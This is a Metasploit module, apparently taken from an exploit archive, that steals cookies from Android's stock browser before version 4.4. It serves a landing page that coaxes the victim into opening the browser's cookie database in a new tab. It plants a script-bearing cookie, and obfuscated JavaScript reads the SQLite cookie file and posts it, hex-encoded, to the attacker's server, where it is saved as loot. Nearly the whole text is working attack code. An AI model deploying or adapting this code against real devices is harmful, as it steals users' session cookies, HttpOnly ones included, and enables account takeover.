In Androids stock AOSP Browser application and WebView component, the "open in new tab" functionality allows a file URL to be opened. On versions of Android before 4.4, the path to the sqlite cookie database could be specified. By saving a cookie containing a <script> tag and then loading the sqlite database into the browser as an HTML file, XSS can be achieved inside the cookie file, disclosing *all* cookies (HttpOnly or not) to an attacker.
70b3a8344e4fcf5439123086e568b9e7984fe8d61764dc191d64ca919125593d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
'Description' => %q{
In Android's stock AOSP Browser application and WebView component, the
"open in new tab" functionality allows a file URL to be opened. On
versions of Android before 4.4, the path to the sqlite cookie
database could be specified. By saving a cookie containing a <script>
tag and then loading the sqlite database into the browser as an HTML file,
XSS can be achieved inside the cookie file, disclosing *all* cookies
(HttpOnly or not) to an attacker.
},
'Author' => [
'Rafay Baloch', # Discovery of "Open in new tab" bug
'joev' # Cookie theft vector, msf module
],
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
'PassiveActions' => [ 'WebServer' ],
'References' =>
[
# the patch, released against 4.3 AOSP in February 2014
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
['URL', 'https://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html']
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('COOKIE_FILE', [
true,
'The cookie file (on older 2.x devices this is "webview.db")',
'webviewCookiesChromium.db'
])
])
end
def on_request_uri(cli, request)
if request.method =~ /POST/i
print_status("Processing exfilrated files...")
process_post(cli, request)
send_response_html(cli, '')
elsif request.uri =~ /\.js$/i
print_status("Sending exploit javascript")
send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')
else
print_status("Sending exploit landing page...")
send_response_html(cli, landing_page_html)
end
end
def process_post(cli, request)
data = hex2bin(request.body)
print_good "Cookies received: #{request.body.length.to_f/1024}kb"
loot_path = store_loot(
"android.browser.cookies",
'application/x-sqlite3',
cli.peerhost,
data,
'cookies.sqlite',
"#{cli.peerhost.ljust(16)} Android browser cookie database"
)
print_good "SQLite cookie database saved to:\n#{loot_path}"
end
def run
exploit
end
def landing_page_html
%Q|
<!doctype html>
<html>
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
<body style='width:100%;font-size: 16px;'>
<a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'>
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
</a>
<script>
#{inline_script}
</script>
</body>
</html>
|
end
def exfiltration_js
js_obfuscate %Q|
var x = new XMLHttpRequest();
x.open('GET', '');
x.responseType = 'arraybuffer';
x.onreadystatechange = function(){
if (x.readyState == 4) {
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d){
var c = d.toString(16);
return (c.length < 2) ? '0'+c : c;
}).join('');
var x2 = new XMLHttpRequest();
x2.open('POST', '#{get_uri}/');
x2.setRequestHeader('Content-type', 'text/plain');
x2.send(hex);
}
};
x.send();
|
end
def inline_script
%Q|
document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';
|
end
def cookie_path(file='')
'/data/data/com.android.browser/databases/' + file
end
# TODO: Make this a proper Rex::Text function
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end
def per_run_token
@token ||= Rex::Text.rand_text_alpha(rand(2)+1)
end
end
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